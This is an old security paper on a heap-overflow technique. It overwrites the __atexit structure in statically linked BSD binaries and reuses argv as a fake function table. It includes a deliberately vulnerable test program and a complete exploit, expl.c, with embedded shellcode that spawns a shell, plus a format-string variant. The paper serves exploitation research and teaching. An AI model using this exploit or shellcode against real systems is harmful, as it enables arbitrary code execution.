/*

** __atexit in memory bugs -

** specific proof of concept with statically linked binaries and

** heap overflows.

**

** Pascal Bouchareine <pb@hert.org>

*/

 

This is a very short paper showing a way to execute arbitrary

instructions using atexit(). This is not of high interest and

there may be a plenty of errors in it, as I wrote this while

I was playing with the stack.

 

For more information about heap overflows, you should better read

shok's paper (http://www.w00w00.org/files/articles/heaptut.txt).

 

Another interesting paper that mentions this specific technique

is Phrack article by Bulba and Kil3r (phrack 56-5) found at

(http://phrack.infonexus.com/search.phtml?view&article=p56-5).

 

Many thanks to Andrew R. Reiter who took the time to review

this Paper for corrections.

 

 

Contents

 

I. Basic knowledge of atexit()

II. Implementation

III. Exploitation concept

IV. Eggshell location independant method - no more NOPs.

V. Sample exploitation

 

 

 

I. Basic knowledge of atexit()

 

Let us have a look at the manpage first :

 

NAME

atexit - register a function to be called on exit

 

SYNOPSIS

#include <stdlib.h>

 

int

atexit(void (*function)(void))

 

DESCRIPTION

The atexit() function registers the given function to be

called at program exit, whether via exit(3) or via return

from the program's main.

Functions so registered are called in reverse order; no argu-

ments are passed. At least 32 functions can always be registered

and more are allowed as long as sufficient memory can be al-

located.

 

This basic introduction let us understand that the following program :

 

char *glob;

 

void test(void)

{

printf("%s", glob);

}

 

void main(void)

{

atexit(test);

glob = "Exiting.\n";

}

 

would display "Exiting" to stdout when executed.

 

II. Implementation

 

atexit is exported as a libc function. The implementation uses a

static struct atexit containing an array of functions to be called

at exit time, inserted with atexit(function), (we will call this

"fns"), an index to hold the next empty slot in fns (that we should

call "ind"), and a pointer to a next atexit struct used when fns

gets full (that we'll call "next"):

 

struct atexit {

struct atexit *next; /* next in list */

int ind; /* next index in this table */

void (*fns[ATEXIT_SIZE])(); /* the table itself */

};

 

When atexit() is called, it fills fns[ind], and increments ind to index

the next free slot in fns. When fns gets full, a new struct atexit

is allocated, and its 'next' variable points to the last used one.

 

Note: Normal use of atexit does not need 'next', which is set to

be NULL at initialization.

 

When exit() is called, it parses the last defined atexit struct, and

executes functions found in fns[ind], decrementing ind, and following

next.

 

Since the function exit() needs to be able to lookup exit functions

when called, while atexit() needs to write to it, the atexit structure

is allocated as a global symbol, (__atexit on *bsd, __exit_funcs with

linux), and exported to other functions.

 

III. Exploitation Concept

 

This part is not accurate enough. Depending of the way your loader maps

objects into memory at execution, depending your OS, depending many other

factors (that may induce more general usage of this particular thing),

your mileage may vary.

 

I first wanted to know where __atexit was allocated in memory, and if there

where any way to overwrite it. So i wrote the simple following code :

 

extern void * __atexit;

 

int main(void)

{

static char scbuf[128];

char *mabuf;

mabuf = (char *) malloc(128);

printf("__atexit at %p\n", __atexit);

printf("malloced at %p\n", mabuf);

printf("static at %p\n", scbuf);

return 0;

}

 

Once compiled, i had the following results :

 

pb@nod [405]$ gcc -o at at.c

pb@nod [406]$ ./at

__atexit at 0x280e46a0

malloced at 0x804b000

static at 0x8049660

 

pb@nod [407]$ gcc -o at -static at.c

pb@nod [408]$ ./at

__atexit at 0x8052ea0

malloced at 0x8055000

static at 0x8052e20

 

(why the hell didn't I use nm ? don't ask =)

 

This was enough for the moment. As you probably know, the dynamically

compiled version loads libc objects via an mmap() call, and the resulting

memory segment lies in a rather far-away place. (0x280e46a0) seems

unreachable for now, and I was happy enough with the static version.

 

In a statically compiled binary, libc globals are held in the heap

as program globals are, thus locating __atexit near our static char

buffer. In this specific example, __atexit is 0x80 bytes after scbuf,

which means contiguously positionned. This, of course, remembers you

of heap overflows, and this one is pretty easy to build.

 

By building our own __atexit struct just behind the static char buffer,

we could make exit() call anything we like in memory, and for example,

an eggshell we built in the buffer. To build this, we need a clean

__atexit struct which should look like (gdb-like output):

 

0 127 128 132 136 140

(an eggshell with nops) (next) (ind) (fns[0]) (fns[1])

0x90909090 ..... 0x00000000 0x00000001 0xbffff870 0x00000000

 

Thus having our eggshell executed while exit() is doing :

 

for (p = __atexit; p; p = p->next)

for (n = p->ind; --n >= 0;)

(*p->fns[n])();

 

This would be perfect, but we can't insert '\0's in our code.

 

You may want to give 'ind' a negative value, so fns[n] would point

to next, and next to our eggshell. But as you see, (ind <= 0) is

the termination condition of the loop.

 

The second method which comes to mind is to have p->next pointing

to a space where we can have zeroes and a handmade struct atexit.

We would just need to give 'ind' a negative value, and to forget

about the fns array.

 

But where the hell may we find such a space ?

 

IV. Eggshell location independant method - no more NOPs.

 

I got stuck on this one for a beer or two. Reading execve's manpage,

and kernel execve implementation, i was reminded my first C courses.

When main is called, you know argc contains the number of arguments,

argv is the null-terminated array containing pointers to nul-terminated

strings, and 'envp' is the environnement. The way the kernel gives this

information to an executed program is easy. There is, at the top of

the stack, a "vector table" containing this information as well as

some other (signal masks, for example). If we precisely look at argv's

storage on stack, we dump (gdb style, again) :

 

0xbfbffb60: 0x00000000 0x00000005 0xbfbffc5c 0xbfbffc84

0xbfbffb70: 0xbfbffc8a 0xbfbffc8f 0xbfbffc92 0x00000000

 

In this example, argc is 5. The five next pointers are the five argv

elements. The last one is the null-terminating one.

 

Doesn't this recall you the struct we observed recently ? :)

 

This maps perfectly with a wonderfully crafted atexit struct! With ind = 5,

and argv[4] being the function's address. All the work is done, yet,

and the kernel did it. We just need to guess right address of the

vector table on stack, write it in __atexit->next, fill __atexit->ind with

a negative value, and we're done.

 

Guessing address of argv[] could depend of your operating system. I

had a look at /sys/kern/kern_exec.c, and read this function :

 

/*

* Copy strings out to the new process address space, constructing

* new arg and env vector tables. Return a pointer to the base

* so that it can be used as the initial stack pointer.

*/

register_t *

exec_copyout_strings(imgp)

 

This explains how to calculate the vector table address of argv,

basing your calculation on PS_STRING (the base address of stack,

less struct ps_string size), the size of the signal mask,

"SPARE_USERSPACE" which is defined on my FreeBSD to 256 (maybe

this is used for setproctitle() like functions), and some other

complex things.

 

In the hope of having a portable calculation method, I used the

following self-calling method to have argv[]'s value. First,

build everyting as if you wanted to overflow the vulnerable program,

but don't call it : call yourself with a special argument. The argv

you should have at the second call is a right guess for the vulnerable

program too. Then call the vulnerable program.

 

With these two techniques, I guess you have a high working-rate overflow,

that doesn't need offset calculation anymore.

 

Note: This technique sounds quite powerful for format bugs.

You notice __atexit often lies in the victim at the same place as in

the exploit. I guess this is because of mmap() starting allocation at

the same fixed place. With a classical format bug, you'd just have

to supply "AAAA%N$x%0Xx%n", where AAAA is the address of __atexit in

your exploit, N is the number of words to eat from stack, and X necessary

to build the address of argv[] as guessed.

 

[post note: this was already known, in fact, and written in the

phrack article mentionned above]

 

The same way, you have an easy fixed return address for your buffer

overflow exploits this way: call yourself - egg shall be located in

an environnement variable -, and call victim once egg's address is known.

 

V. Exploitation example

 

Take the following vulnerable program :

 

extern void * __atexit;

 

int main(int argc, char **argv)

{

static char scbuf[128];

char *mabuf;

 

mabuf = (char *) malloc(128);

 

printf("__atexit at %p\n", __atexit);

printf("malloced at %p\n", mabuf);

printf("static at %p\n", scbuf);

 

if (argc > 1)

strcpy(scbuf, argv[1]);

}

 

The scbuf[] size is 128. We need to craft the following string:

 

offset 0 128 132 136

[XXXXXXXXXXXX..........][AAAA][BBBB][0...]

 

with X being 128 bytes of garbage, AAAA being the guessed

argv address, BBBB being a negative number (0xffffffff will do it),

and the last byte being zeroed.

 

We must pass an eggshell as the last argument to the vulnerable program.

 

If the program were using strict syntax check, this would be a bit

more difficult to have this working. This is not discussed here

but may be interesting for future researchs.

 

So here is the exploit to spawn a shell with the above vulnerable

program :

 

--- expl.c -----------------8< (lazy indenting this. :) -------------

 

#include <stdio.h>

 

 

#define PROG "./vul"

#define HEAP_LEN 128

 

int main(int argc, char **argv)

{

char **env;

char **arg;

char heap_buf[150];

 

char eggshell[]= /* Mudge's */

"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";

 

/* Craft the first part of the chain, pointing to argv[].

** We need, of course, a negative value for ind, or the real

** atexit default will be called.

*/

 

memset(heap_buf, 'A', HEAP_LEN);

*((int *) (heap_buf + HEAP_LEN)) = (int) argv - (2 * sizeof(int));

*((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff;

*((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0;

 

/*

** Build environnement. Argv[argc-1] is set to whatever

** eggshell you want. This, in a struct atexit context,

** will be executed by exit.

*/

 

env = (char **) malloc(sizeof(char *));

env[0] = 0;

 

arg = (char **) malloc(sizeof(char *) * 4);

arg[0] = (char *) malloc(strlen(PROG) + 1);

arg[1] = (char *) malloc(strlen(heap_buf) + 1);

arg[2] = (char *) malloc(strlen(eggshell) + 1);

arg[3] = 0;

 

 

strcpy(arg[0], PROG);

strcpy(arg[1], heap_buf);

strcpy(arg[2], eggshell);

 

if (argc > 1) {

fprintf(stderr, "Using argv %x\n", argv);

execve("./vul", arg, env);

} else {

execve(argv[0], arg, env);

}

}

 

-------- expl.c (eof)------------------------------------------